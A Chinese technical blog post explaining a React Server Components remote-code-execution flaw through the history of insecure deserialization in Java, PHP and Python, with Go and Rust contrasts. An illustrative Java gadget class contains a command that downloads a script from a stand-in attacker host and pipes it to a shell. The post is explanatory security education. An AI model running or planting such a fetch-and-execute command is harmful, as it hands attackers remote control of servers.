React 以惨痛的方式重新吸取了 25 年前 RCE 的一个教训

我有一支技术全面、经验丰富的小型团队,专注高效交付中等规模外包项目,有需要外包项目的可以联系我

很长一段时间里,React 在安全圈几乎算"无害"。

它做的事很单纯:渲染 UI、操作 DOM。你要是写得够离谱,最多来个 XSS------烦人,但大多数时候还能救。

因为 React 没有你的数据库钥匙、没有你的文件系统权限、也不该碰你的服务端进程。

但这条"边界",悄悄消失了。

随着 React Server Components(RSC)Next.js App Router 成为主流,React 不再只是前端框架------它成了一个后端运行时:跑在 Node.js 里、读数据库、摸环境变量、改服务端状态。

从那一刻开始,React 继承了后端软件的全部爆炸半径。

然后它转头就踩中了安全史上最老的一颗地雷之一:把网络里来的"可执行行为",当成可以反序列化的"数据"。

结果?未授权远程代码执行(RCE)。一次请求,不用登录,直接进服务器执行。属于框架级别最不能出的那种错。

要搞懂这事为什么会发生,你得先看清楚:React 到底"变了什么"。

当"数据"不再只是数据

经典 React 应用和服务器说话,一直很朴素:

go 复制代码
// Browser
fetch("/api/user")
  .then(res => res.json())
  .then(user => setUser(user))

服务器端也很朴素:

go 复制代码
app.get("/api/user", (req, res) => {
  res.json({ id: 42, name: "Alice" })
})

浏览器发的是惰性数据 。 服务器解析的是惰性数据 。 线上跑来跑去的只是值。执行永远留在服务器端。

这条边界,才是旧时代 React "风险低"的根本原因。

React Server Components 把这套模式拆了。

它不再返回 JSON,而是流式返回一种内部协议(常被称为 "Flight"),里面携带的东西不只是"值",还包括:

  • 渲染哪些组件

  • 模块怎么解析

  • 哪些树节点要在服务端执行

  • 流式过程中如何重建执行图(execution graph)

换句话说:网络线上传输的,开始像"指令"了。

概念上,服务器从:

network → parse JSON → fill struct → return HTML

变成了:

network → deserialize instructions → rebuild execution graph → execute

最后那个 "execute",就是 RCE 出生的产房。

反序列化"指令"为什么致命

反序列化数据,长这样:

go 复制代码
// Go
var u User
json.Unmarshal(bytes, &u)
go 复制代码
// Rust
let u: User = serde_json::from_slice(bytes)?;

它们共同点是:

  • 类型(User)由程序决定

  • 网络只提供字段值

  • 数据不能触发方法

  • 数据不能要求换一种类型

  • 整体乏味、死板,但非常安全

然后你去看看 Java 曾经干过的"世纪级错误"。

Java 早就为这个错误买过十几年单

很多 Java 服务端里,曾经到处是这一行:

go 复制代码
Object obj = new ObjectInputStream(socket.getInputStream()).readObject();

这行代码最可怕的不是它"读对象",而是------它没有目标类型

JVM 处理方式是:

  • 从网络读类名

  • 从 classpath 加载该类

  • 实例化

  • 跑反序列化钩子(deserialization hooks)

等于网络数据在说:

"请你实例化这个类,并顺便执行它的反序列化代码。"

于是攻击者开始找"gadget class",比如这种(示意):

go 复制代码
class Exploit {
    private void readObject(ObjectInputStream in) {
        Runtime.getRuntime().exec("curl attacker.com/shell | sh");
    }
}

只要依赖树里出现过一个这样的"可组合链条",readObject() 就可能变成"给我一个 shell"。这类灾难级 RCE,撑起了企业安全圈好几年噩梦。

而 React RSC------在精神上,走回了同一条路。

React 是怎么一步步走进同一个坑的

Flight 的 payload 让服务器在架构上接近这样:

go 复制代码
const instruction = deserialize(untrustedNetworkBytes)
execute(instruction)

当然实现细节不一定是这段代码,但数据流就是这个味道。

它不再是:

"这是组件要用的数据"

更像是:

"这是你该怎么重建执行图的一部分说明书"

当网络输入开始影响"执行结构"而不是只影响"字段值",你就回到了 Java 反序列化那片战场。

缺一个 allowlist。 少一道校验边界。 就够了。

"反序列化不是在服务端做的吗?为什么还会出事?"

因为危险的从来不是"反序列化"这个动作,而是:你反序列化成了什么。

这很安全:

go 复制代码
JSON.parse('{ "count": 5 }')

这就很危险:

go 复制代码
deserializeIntoExecutableInstructions(bytes)

当反序列化结果包含:

  • 函数引用

  • 模块加载逻辑

  • 可执行树/执行图

你就不是在"解码数据"。 你是在"解码行为"。

而把行为从网络里解出来,是攻击者最喜欢的捷径。

为什么 Go / Rust 很少撞上这类 RCE

拿 Go 举例:

go 复制代码
type Config struct {
    Port int
}

var cfg Config
json.Unmarshal(input, &cfg)

攻击者最多影响:

  • cfg.Port

攻击者不能影响:

  • 实例化哪个 struct

  • 解码时跑哪个函数

  • 解码过程中执行什么钩子

Rust 同理:

go 复制代码
#[derive(Deserialize)]
struct Config {
    port: u16,
}
let cfg: Config = serde_json::from_slice(input)?;

关键边界永远是:类型由程序选,网络只能填值。

而 Java 原生序列化、以及 React RSC 的漏洞路径,都是跨过了这条线:让网络"碰到了执行结构"。

React 为什么会犯这种错

原因很现实,也很熟悉:

  1. **把 Flight 当成"私有协议"**他们默认"只有可信的 React 客户端才会说这种协议"。可一旦它暴露在 HTTP 上,攻击者只关心一点:我能不能给它喂字节。

  2. 为开发体验猛踩油门为了流式渲染、缓存、自动 revalidate、server actions、写一次到处跑,他们做了强耦合的执行管线。跨层魔法越多,验证边界越容易漏。

  3. React 现在管的层太多了UI、后端执行、传输、序列化、缓存、路由......当一个抽象掌握这么大表面积,验证失误就不再是"局部 bug",而是生态事故。

  4. Next.js 把它做成默认海量应用在没有"明确意识到自己暴露了 React 专用执行协议"的情况下,把这套模型推到了公网。([Vercel][2])

一个 bug,全网共振。

补丁到底改了什么

补丁前,模型几乎等于:

deserialize → execute

补丁后,变成:

deserialize → validate (strict allowlist) → execute

不再允许动态模块解析。

不再允许任意指令图。

不再允许"行为从线上直达执行"。

这本质上就是:React 被迫补上了 Java 用十几年痛苦换来的那套防线。

真正的教训

这事和 JavaScript 本身没关系。 也和 React 语法没关系。

它就是那句所有系统工程师迟早都要背会的老话:

不可信字节,永远不该决定执行。

Java 在 2000s 学过一次。

PHP 在 unserialize 上学过一次。

Python 在 pickle 上学过一次。

React 在 2025,又学了一次。

时代不同,地雷同款。

最近

React 不是因为"前端框架"而被烧伤的。 它是因为自己悄悄变成了后端运行时,却忘了把后端该有的安全纪律一起搬过来。

历史对这种故事的结局,向来非常一致。

全栈AI·探索:涵盖动效、React Hooks、Vue 技巧、LLM 应用、Python 脚本等专栏,案例驱动实战学习,点击二维码了解更多详情。

最后:

CSS终极指南

Vue 设计模式实战指南

20个前端开发者必备的响应式布局

深入React:从基础到最佳实践完整攻略

python 技巧精讲

React Hook 深入浅出

CSS技巧与案例详解

vue2与vue3技巧合集

相关推荐
爱喝麻油的小哆2 小时前
前端html导出pdf,(不完美)解决文字被切割的BUG,记录一下
前端
晴殇i2 小时前
【拿来就用】Uniapp路由守卫终极方案:1个文件搞定全站权限控制,老板看了都点赞!
前端·javascript·面试
嘿siri2 小时前
uniapp enter回车键不触发消息发送,已解决
前端·前端框架·uni-app·vue
CodeCraft Studio2 小时前
Excel处理控件Aspose.Cells教程:使用C#在Excel中创建树状图
前端·c#·excel·aspose·c# excel库·excel树状图·excel sdk
咬人喵喵2 小时前
CSS Flexbox:拥有魔法的排版盒子
前端·css
LYFlied2 小时前
TS-Loader 源码解析与自定义 Webpack Loader 开发指南
前端·webpack·node.js·编译·打包
yzp01122 小时前
css收集
前端·css
暴富的Tdy2 小时前
【Webpack 的核心应用场景】
前端·webpack·node.js
遇见很ok2 小时前
Web Worker
前端·javascript·vue.js